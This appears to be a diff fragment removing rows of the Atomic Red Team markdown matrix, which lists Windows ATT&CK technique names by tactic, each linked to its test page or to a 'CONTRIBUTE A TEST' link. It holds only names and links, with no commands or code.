-| [Default Accounts](../../T1078.001/T1078.001.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Add-ins](../../T1137.006/T1137.006.md) | Active Setup [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [BITS Jobs](../../T1197/T1197.md) | [Cached Domain Credentials](../../T1003.005/T1003.005.md) | [Domain Account](../../T1087.002/T1087.002.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Library [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Commonly Used Port [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Destruction](../../T1485/T1485.md) |
-| Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Dynamic Data Exchange](../../T1559.002/T1559.002.md) | AppCert DLLs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Binary Padding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credential API Hooking](../../T1056.004/T1056.004.md) | [Domain Groups](../../T1069.002/T1069.002.md) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
-| Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [AppInit DLLs](../../T1546.010/T1546.010.md) | [AppInit DLLs](../../T1546.010/T1546.010.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Credential Stuffing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Domain Trust Discovery](../../T1482/T1482.md) | [Pass the Hash](../../T1550.002/T1550.002.md) | [Audio Capture](../../T1123/T1123.md) | [Exfiltration Over C2 Channel](../../T1041/T1041.md) | [DNS](../../T1071.004/T1071.004.md) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Application Shimming](../../T1546.011/T1546.011.md) | [Application Shimming](../../T1546.011/T1546.011.md) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | [Credentials In Files](../../T1552.001/T1552.001.md) | Email Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pass the Ticket](../../T1550.003/T1550.003.md) | [Automated Collection](../../T1119/T1119.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS Calculation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| [External Remote Services](../../T1133/T1133.md) | Inter-Process Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Windows)](../../T1053.002/T1053.002.md) | [Asynchronous Procedure Call](../../T1055.004/T1055.004.md) | [CMSTP](../../T1218.003/T1218.003.md) | [Credentials from Password Stores](../../T1555/T1555.md) | [File and Directory Discovery](../../T1083/T1083.md) | [RDP Hijacking](../../T1563.002/T1563.002.md) | [Clipboard Data](../../T1115/T1115.md) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Authentication Package](../../T1547.002/T1547.002.md) | [At (Windows)](../../T1053.002/T1053.002.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Credentials from Web Browsers](../../T1555.003/T1555.003.md) | Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Remote Desktop Protocol](../../T1021.001/T1021.001.md) | [Credential API Hooking](../../T1056.004/T1056.004.md) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| [Local Accounts](../../T1078.003/T1078.003.md) | [Malicious File](../../T1204.002/T1204.002.md) | [BITS Jobs](../../T1197/T1197.md) | [Authentication Package](../../T1547.002/T1547.002.md) | [Clear Command History](../../T1070.003/T1070.003.md) | [Credentials in Registry](../../T1552.002/T1552.002.md) | [Local Account](../../T1087.001/T1087.001.md) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Staged [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol](../../T1048.003/T1048.003.md) | Dead Drop Resolver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Clear Windows Event Logs](../../T1070.001/T1070.001.md) | [DCSync](../../T1003.006/T1003.006.md) | [Local Groups](../../T1069.001/T1069.001.md) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Web Service](../../T1567/T1567.md) | Domain Fronting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| [Replication Through Removable Media](../../T1091/T1091.md) | [Native API](../../T1106/T1106.md) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Code Signing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Service Scanning](../../T1046/T1046.md) | [Replication Through Removable Media](../../T1091/T1091.md) | Data from Local System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| [Spearphishing Attachment](../../T1566.001/T1566.001.md) | [PowerShell](../../T1059.001/T1059.001.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Bypass User Account Control](../../T1548.002/T1548.002.md) | Code Signing Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Share Discovery](../../T1135/T1135.md) | [SMB/Windows Admin Shares](../../T1021.002/T1021.002.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Cloud Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Python [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Extensions](../../T1176/T1176.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Compile After Delivery](../../T1027.004/T1027.004.md) | [Forced Authentication](../../T1187/T1187.md) | [Network Sniffing](../../T1040/T1040.md) | Shared Webroot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Encrypted Channel](../../T1573/T1573.md) | Firmware Corruption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task](../../T1053.005/T1053.005.md) | [COR_PROFILER](../../T1574.012/T1574.012.md) | [Change Default File Association](../../T1546.001/T1546.001.md) | [Compiled HTML File](../../T1218.001/T1218.001.md) | Forge Web Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Policy Discovery](../../T1201/T1201.md) | [Software Deployment Tools](../../T1072/T1072.md) | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Inhibit System Recovery](../../T1490/T1490.md) |
-| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Change Default File Association](../../T1546.001/T1546.001.md) | [Component Object Model Hijacking](../../T1546.015/T1546.015.md) | Component Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [GUI Input Capture](../../T1056.002/T1056.002.md) | [Peripheral Device Discovery](../../T1120/T1120.md) | Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Forwarding Rule [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Fallback Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Internal Defacement](../../T1491.001/T1491.001.md) |
-| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Component Firmware [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Create Process with Token](../../T1134.002/T1134.002.md) | [Control Panel](../../T1218.002/T1218.002.md) | [Golden Ticket](../../T1558.001/T1558.001.md) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [GUI Input Capture](../../T1056.002/T1056.002.md) |  | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Service Execution](../../T1569.002/T1569.002.md) | [Component Object Model Hijacking](../../T1546.015/T1546.015.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Create Process with Token](../../T1134.002/T1134.002.md) | [Group Policy Preferences](../../T1552.006/T1552.006.md) | [Process Discovery](../../T1057/T1057.md) | VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | Shared Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Compromise Client Software Binary [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Query Registry](../../T1012/T1012.md) | [Windows Remote Management](../../T1021.006/T1021.006.md) | [Keylogging](../../T1056.001/T1056.001.md) |  | [Ingress Tool Transfer](../../T1105/T1105.md) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | [Software Deployment Tools](../../T1072/T1072.md) | Create Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | [Kerberoasting](../../T1558.003/T1558.003.md) | [Remote System Discovery](../../T1018/T1018.md) |  | [LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) |  | [Internal Proxy](../../T1090.001/T1090.001.md) | Resource Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | System Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Default Accounts](../../T1078.001/T1078.001.md) | [Default Accounts](../../T1078.001/T1078.001.md) | [Keylogging](../../T1056.001/T1056.001.md) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | [Local Data Staging](../../T1074.001/T1074.001.md) |  | Junk Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Deobfuscate/Decode Files or Information](../../T1140/T1140.md) | [LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) | [Software Discovery](../../T1518/T1518.md) |  | [Local Email Collection](../../T1114.001/T1114.001.md) |  | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | [Visual Basic](../../T1059.005/T1059.005.md) | [DLL Side-Loading](../../T1574.002/T1574.002.md) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Direct Volume Access](../../T1006/T1006.md) | [LSA Secrets](../../T1003.004/T1003.004.md) | [System Checks](../../T1497.001/T1497.001.md) |  | Man in the Browser [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Service Stop](../../T1489/T1489.md) |
-|  | [Windows Command Shell](../../T1059.003/T1059.003.md) | [Default Accounts](../../T1078.001/T1078.001.md) | Domain Trust Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable Windows Event Logging](../../T1562.002/T1562.002.md) | [LSASS Memory](../../T1003.001/T1003.001.md) | [System Information Discovery](../../T1082/T1082.md) |  | Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Multi-hop Proxy](../../T1090.003/T1090.003.md) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | [Windows Management Instrumentation](../../T1047/T1047.md) | [Domain Account](../../T1136.002/T1136.002.md) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | [Disable or Modify System Firewall](../../T1562.004/T1562.004.md) | Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Multiband Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
-|  |  | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Escape to Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Configuration Discovery](../../T1016/T1016.md) |  | Remote Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Non-Application Layer Protocol](../../T1095/T1095.md) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  |  | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [NTDS](../../T1003.003/T1003.003.md) | [System Network Connections Discovery](../../T1049/T1049.md) |  | [Screen Capture](../../T1113/T1113.md) |  | Non-Standard Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) | [System Owner/User Discovery](../../T1033/T1033.md) |  | Sharepoint [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Non-Standard Port](../../T1571/T1571.md) |  |
-|  |  | Exchange Email Delegate Permissions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [OS Credential Dumping](../../T1003/T1003.md) | [System Service Discovery](../../T1007/T1007.md) |  | [Video Capture](../../T1125/T1125.md) |  | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Trust Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Cracking](../../T1110.002/T1110.002.md) | [System Time Discovery](../../T1124/T1124.md) |  | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [External Remote Services](../../T1133/T1133.md) | Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | [Password Filter DLL](../../T1556.002/T1556.002.md) | Time Based Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Protocol Impersonation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Guessing](../../T1110.001/T1110.001.md) | User Activity Based Checks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | [Protocol Tunneling](../../T1572/T1572.md) |  |
-|  |  | Hypervisor [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Spraying](../../T1110.003/T1110.003.md) |  |  |  |  | [Remote Access Software](../../T1219/T1219.md) |  |
-|  |  | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Accounts](../../T1078.003/T1078.003.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Private Keys](../../T1552.004/T1552.004.md) |  |  |  |  | [Standard Encoding](../../T1132.001/T1132.001.md) |  |
-|  |  | [Local Account](../../T1136.001/T1136.001.md) | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SAML Tokens [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | Steganography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [Local Accounts](../../T1078.003/T1078.003.md) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [File Deletion](../../T1070.004/T1070.004.md) | [Security Account Manager](../../T1003.002/T1003.002.md) |  |  |  |  | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Silver Ticket [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Logon Script [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | [Web Protocols](../../T1071.001/T1071.001.md) |  |
-|  |  | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | [Parent PID Spoofing](../../T1134.004/T1134.004.md) | Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Network Logon Script [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hidden Files and Directories](../../T1564.001/T1564.001.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Office Application Startup](../../T1137/T1137.md) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hidden Window](../../T1564.003/T1564.003.md) | Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | Office Template Macros [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by Search Order Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hide Artifacts](../../T1564/T1564.md) | Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Office Test](../../T1137.002/T1137.002.md) | [Path Interception by Unquoted Path](../../T1574.009/T1574.009.md) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | Outlook Forms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Port Monitors](../../T1547.010/T1547.010.md) | Impair Command History Logging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Windows Credential Manager [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |
-|  |  | [Outlook Home Page](../../T1137.004/T1137.004.md) | Portable Executable Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Impair Defenses [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
-|  |  | Outlook Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [PowerShell Profile](../../T1546.013/T1546.013.md) | Indicator Blocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
